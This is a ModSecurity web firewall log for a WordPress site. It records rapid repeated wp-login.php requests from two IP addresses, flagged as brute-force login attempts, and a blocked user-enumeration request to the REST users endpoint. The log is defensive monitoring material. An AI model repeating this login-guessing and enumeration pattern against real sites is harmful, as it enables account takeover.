[Fri Feb 27 09:51:39.199960 2026] [:error] [pid 56075:tid 56077] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4q8KBhrfI6KNv9Rg_XgAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:42.229013 2026] [:error] [pid 56075:tid 56083] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4rsKBhrfI6KNv9Rg_ZQAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:43.692765 2026] [:error] [pid 56075:tid 56090] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4r8KBhrfI6KNv9Rg_aAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:46.576328 2026] [:error] [pid 56075:tid 56100] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4ssKBhrfI6KNv9Rg_bgAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:47.833084 2026] [:error] [pid 56075:tid 56082] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4s8KBhrfI6KNv9Rg_cAAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:50.637147 2026] [:error] [pid 56075:tid 56079] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4tsKBhrfI6KNv9Rg_dwAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:52.028757 2026] [:error] [pid 56075:tid 56090] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4uMKBhrfI6KNv9Rg_egAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:54.788765 2026] [:error] [pid 56075:tid 56092] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4usKBhrfI6KNv9Rg_fAAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:56.087414 2026] [:error] [pid 56075:tid 56088] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4vMKBhrfI6KNv9Rg_fQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:58.997263 2026] [:error] [pid 56075:tid 56083] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4vsKBhrfI6KNv9Rg_gwAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:00.447047 2026] [:error] [pid 56075:tid 56084] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4wMKBhrfI6KNv9Rg_iAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:03.347859 2026] [:error] [pid 56075:tid 56092] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4w8KBhrfI6KNv9Rg_jQAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:04.679684 2026] [:error] [pid 56075:tid 56097] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4xMKBhrfI6KNv9Rg_mAAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:07.459812 2026] [:error] [pid 56075:tid 56090] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4x8KBhrfI6KNv9Rg_qAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:08.903459 2026] [:error] [pid 56075:tid 56098] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4yMKBhrfI6KNv9Rg_qwAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:11.737018 2026] [:error] [pid 56075:tid 56099] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4y8KBhrfI6KNv9Rg_sAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:13.172003 2026] [:error] [pid 56075:tid 56092] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4zcKBhrfI6KNv9Rg_sgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:16.002829 2026] [:error] [pid 56075:tid 56094] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD40MKBhrfI6KNv9Rg_wAAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:17.327488 2026] [:error] [pid 56075:tid 56087] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD40cKBhrfI6KNv9Rg_wQAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:19.995788 2026] [:error] [pid 56075:tid 56090] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD408KBhrfI6KNv9Rg_xAAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:21.303184 2026] [:error] [pid 56075:tid 56102] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD41cKBhrfI6KNv9Rg_xQAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:24.190748 2026] [:error] [pid 56075:tid 56082] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD42MKBhrfI6KNv9Rg_ywAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:25.503936 2026] [:error] [pid 56075:tid 56096] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD42cKBhrfI6KNv9Rg_zAAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:28.247280 2026] [:error] [pid 56075:tid 56091] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD43MKBhrfI6KNv9Rg_zgAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:29.466626 2026] [:error] [pid 56075:tid 56079] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD43cKBhrfI6KNv9Rg_zwAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:32.242090 2026] [:error] [pid 56075:tid 56086] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD44MKBhrfI6KNv9Rg_1QAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:33.589959 2026] [:error] [pid 56075:tid 56093] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD44cKBhrfI6KNv9Rg_1wAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:36.538470 2026] [:error] [pid 56075:tid 56097] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD45MKBhrfI6KNv9Rg_3wAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:38.043295 2026] [:error] [pid 56075:tid 56080] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD45sKBhrfI6KNv9Rg_5AAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:41.205883 2026] [:error] [pid 56075:tid 56099] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD46cKBhrfI6KNv9Rg_7wAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:42.491081 2026] [:error] [pid 56075:tid 56102] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD46sKBhrfI6KNv9Rg_8QAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:45.525310 2026] [:error] [pid 56075:tid 56080] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD47cKBhrfI6KNv9Rg_8wAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:46.947744 2026] [:error] [pid 56075:tid 56083] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD47sKBhrfI6KNv9Rg_9gAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:50.047036 2026] [:error] [pid 56075:tid 56088] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD48sKBhrfI6KNv9RhABAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:52.650324 2026] [:error] [pid 56075:tid 56088] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD49MKBhrfI6KNv9RhACAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:55.730121 2026] [:error] [pid 56075:tid 56098] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD498KBhrfI6KNv9RhAFAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:52:57.121870 2026] [:error] [pid 56075:tid 56092] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4-cKBhrfI6KNv9RhAGwAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:53:00.177839 2026] [:error] [pid 56075:tid 56096] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4_MKBhrfI6KNv9RhAIgAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:53:03.412903 2026] [:error] [pid 56075:tid 56096] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4_8KBhrfI6KNv9RhAJwAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:53:06.134228 2026] [:error] [pid 56075:tid 56097] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD5AsKBhrfI6KNv9RhALgAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:53:07.459291 2026] [:error] [pid 56075:tid 56080] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD5A8KBhrfI6KNv9RhAMAAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:53:10.363666 2026] [:error] [pid 56075:tid 56085] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD5BsKBhrfI6KNv9RhAMgAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:53:12.251313 2026] [:error] [pid 56075:tid 56085] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD5CMKBhrfI6KNv9RhAMwAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:53:15.263477 2026] [:error] [pid 56075:tid 56079] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD5C8KBhrfI6KNv9RhANgAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:23.193043 2026] [:error] [pid 56075:tid 56084] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-d8KBhrfI6KNv9RhLfAAAAAc"]
[Fri Feb 27 10:16:41.240293 2026] [:error] [pid 56075:tid 56095] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaD-icKBhrfI6KNv9RhLogAAABE"]
[Fri Feb 27 10:16:41.503315 2026] [:error] [pid 56075:tid 56097] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-icKBhrfI6KNv9RhLowAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:44.531573 2026] [:error] [pid 56075:tid 56082] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-jMKBhrfI6KNv9RhLpwAAAAU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:46.042592 2026] [:error] [pid 56075:tid 56098] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-jsKBhrfI6KNv9RhLqgAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:49.089222 2026] [:error] [pid 56075:tid 56083] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-kcKBhrfI6KNv9RhLrgAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:50.477581 2026] [:error] [pid 56075:tid 56078] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-ksKBhrfI6KNv9RhLsgAAAAE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:53.393878 2026] [:error] [pid 56075:tid 56098] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-lcKBhrfI6KNv9RhLuwAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:54.754188 2026] [:error] [pid 56075:tid 56079] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-lsKBhrfI6KNv9RhLwQAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:57.641133 2026] [:error] [pid 56075:tid 56094] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-mcKBhrfI6KNv9RhL1AAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 10:16:58.991817 2026] [:error] [pid 56075:tid 56088] [client 45.141.233.210:60751] [client 45.141.233.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.141.233.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD-msKBhrfI6KNv9RhL2gAAAAs"], referer: https://gigfragments.org/wp-login.php
